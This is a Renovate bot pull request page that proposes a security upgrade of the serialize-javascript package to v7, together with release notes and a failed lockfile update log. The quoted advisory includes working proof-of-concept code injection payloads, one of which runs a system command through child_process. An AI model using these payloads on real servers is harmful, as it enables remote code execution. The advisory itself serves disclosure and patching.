Skip to content

Update dependency serialize-javascript to v7 [SECURITY] - #5489

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-serialize-javascript-vulnerability
Open

Update dependency serialize-javascript to v7 [SECURITY]#5489
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-serialize-javascript-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
serialize-javascript ^3.1.0^7.0.0 age confidence

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source


v7.0.2

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

v6.0.2

Compare Source

v6.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1

v6.0.0

Compare Source

Changelog

  • Add support for URL's (#​123)
  • Bump mocha from 9.0.0 to 9.0.1 (#​124)
  • Bump mocha from 8.4.0 to 9.0.0 (#​121)
  • Update Node.js CI matrix (#​122)
  • Bump mocha from 8.3.2 to 8.4.0 (#​120)
  • Bump lodash from 4.17.19 to 4.17.21 (#​119)
  • Bump y18n from 4.0.0 to 4.0.1 (#​116)
  • Bump chai from 4.3.3 to 4.3.4 (#​115)
  • Bump mocha from 8.3.1 to 8.3.2 (#​114)
  • Bump mocha from 8.3.0 to 8.3.1 (#​113)
  • Bump chai from 4.3.1 to 4.3.3 (#​112)
  • Bump chai from 4.2.0 to 4.3.1 (#​111)
  • Bump mocha from 8.2.1 to 8.3.0 (#​109)
  • Bump mocha from 8.1.3 to 8.2.1 (#​105)
  • Drop Travis CI settings (#​100)
  • Change default branch name to main (#​99)
  • GitHub Aactions (#​98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.

const serialize = require("serialize-javascript");

serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'

Thank you @​rrdelaney for this release.

v5.0.1

Compare Source

Changelog

  • Exclude .vscode and .github directories from package (#​97)

v5.0.0

Compare Source

Changelog

  • Bump mocha from 8.1.2 to 8.1.3 (#​96)
  • Support sparse arrays (#​95)
  • Bump mocha from 8.1.1 to 8.1.2 (#​94)
  • Bump mocha from 8.1.0 to 8.1.1 (#​92)
  • Create Dependabot config file (#​91)
  • Bump mocha from 8.0.1 to 8.1.0 (#​90)
  • Bump lodash from 4.17.15 to 4.17.19 (#​89)
  • Bump mocha from 7.2.0 to 8.0.1 (#​88)

Behavior changes for sparse arrays

It serializes sparse arrays as follows since this version. The result of serialization may be changed if you are passing sparse arrays values into the serialize-javascript.

const serialize = require('serialize-javascript');

var a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
delete a[0];
a.length = 3;
a[5] = 'wat';
serialize(a) // 'Array.prototype.slice.call({"1":2,"2":3,"5":"wat","length":6})'

Thank you @​victorporof for this release.

v4.0.0

Compare Source

Changelog

  • Bump nyc from 15.0.1 to 15.1.0 (#​85)
  • support for bigint (#​80)

Behavior changes for BigInt

It serializes BigInt values as follows since this version. The result of serialization may be changed if you are passing BigInt values into the serialize-javascript.

v4.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // '{"big":BigInt("10")}'

v3.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // throws error

Thank you @​mum-never-proud for this release.


Configuration

📅 Schedule: (in timezone US/Eastern)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock
/opt/containerbase/tools/corepack/0.35.0/14.18.2/node_modules/corepack/dist/yarn.js:2
process.env.COREPACK_ENABLE_DOWNLOAD_PROMPT??='1'
                                           ^^^

SyntaxError: Unexpected token '??='
    at wrapSafe (internal/modules/cjs/loader.js:1001:16)
    at Module._compile (internal/modules/cjs/loader.js:1049:27)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
    at Module.load (internal/modules/cjs/loader.js:950:32)
    at Function.Module._load (internal/modules/cjs/loader.js:790:12)
    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:76:12)
    at internal/main/run_main_module.js:17:47

@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from 5593ae9 to 8a73e10 Compare March 28, 2026 18:33
@renovate renovate Bot changed the title fix(deps): update dependency serialize-javascript to v7 [security] fix(deps): update dependency serialize-javascript to v7 [security] - autoclosed Mar 30, 2026
@renovate renovate Bot closed this Mar 30, 2026
@renovate
renovate Bot deleted the renovate/npm-serialize-javascript-vulnerability branch March 30, 2026 18:51
@renovate renovate Bot changed the title fix(deps): update dependency serialize-javascript to v7 [security] - autoclosed fix(deps): update dependency serialize-javascript to v7 [security] Mar 31, 2026
@renovate renovate Bot reopened this Mar 31, 2026
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 6 times, most recently from e7e0e0f to 2fa8abc Compare April 1, 2026 15:15
@renovate renovate Bot changed the title fix(deps): update dependency serialize-javascript to v7 [security] Update dependency serialize-javascript to v7 [SECURITY] Apr 8, 2026
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 5 times, most recently from 393c3a9 to ee00e5c Compare April 15, 2026 15:02
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 2 times, most recently from 7b1a017 to d8a27ab Compare April 16, 2026 15:54
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 4 times, most recently from 5d83d72 to 4539116 Compare May 7, 2026 14:16
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] Update dependency serialize-javascript to v7 [SECURITY] - autoclosed May 8, 2026
@renovate renovate Bot closed this May 8, 2026
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Update dependency serialize-javascript to v7 [SECURITY] May 8, 2026
@renovate renovate Bot reopened this May 8, 2026
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from 6a7c133 to 4539116 Compare May 8, 2026 11:30
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 3 times, most recently from db67525 to 9e75a5c Compare June 15, 2026 11:21
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 3 times, most recently from 7a93e83 to 743ccb2 Compare July 2, 2026 14:09
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 2 times, most recently from 4fcecc2 to cb6ef99 Compare July 10, 2026 22:35
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from cb6ef99 to 83e50fc Compare July 14, 2026 00:29
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 3 times, most recently from a574865 to 33b91df Compare July 27, 2026 13:16
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from 33b91df to d019de1 Compare August 6, 2026 14:25
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Aug 12, 2026
@renovate renovate Bot closed this Aug 12, 2026
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Update dependency serialize-javascript to v7 [SECURITY] Aug 12, 2026
@renovate renovate Bot reopened this Aug 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 2 times, most recently from d019de1 to 39f4db4 Compare August 12, 2026 17:29
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Aug 12, 2026
@renovate renovate Bot closed this Aug 12, 2026
@renovate renovate Bot changed the title Update dependency serialize-javascript to v7 [SECURITY] - autoclosed Update dependency serialize-javascript to v7 [SECURITY] Aug 12, 2026
@renovate renovate Bot reopened this Aug 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch 4 times, most recently from 452be69 to 529960f Compare August 18, 2026 17:06
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from 529960f to a5131ed Compare August 21, 2026 12:58
@renovate
renovate Bot force-pushed the renovate/npm-serialize-javascript-vulnerability branch from a5131ed to f6cce99 Compare August 21, 2026 19:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants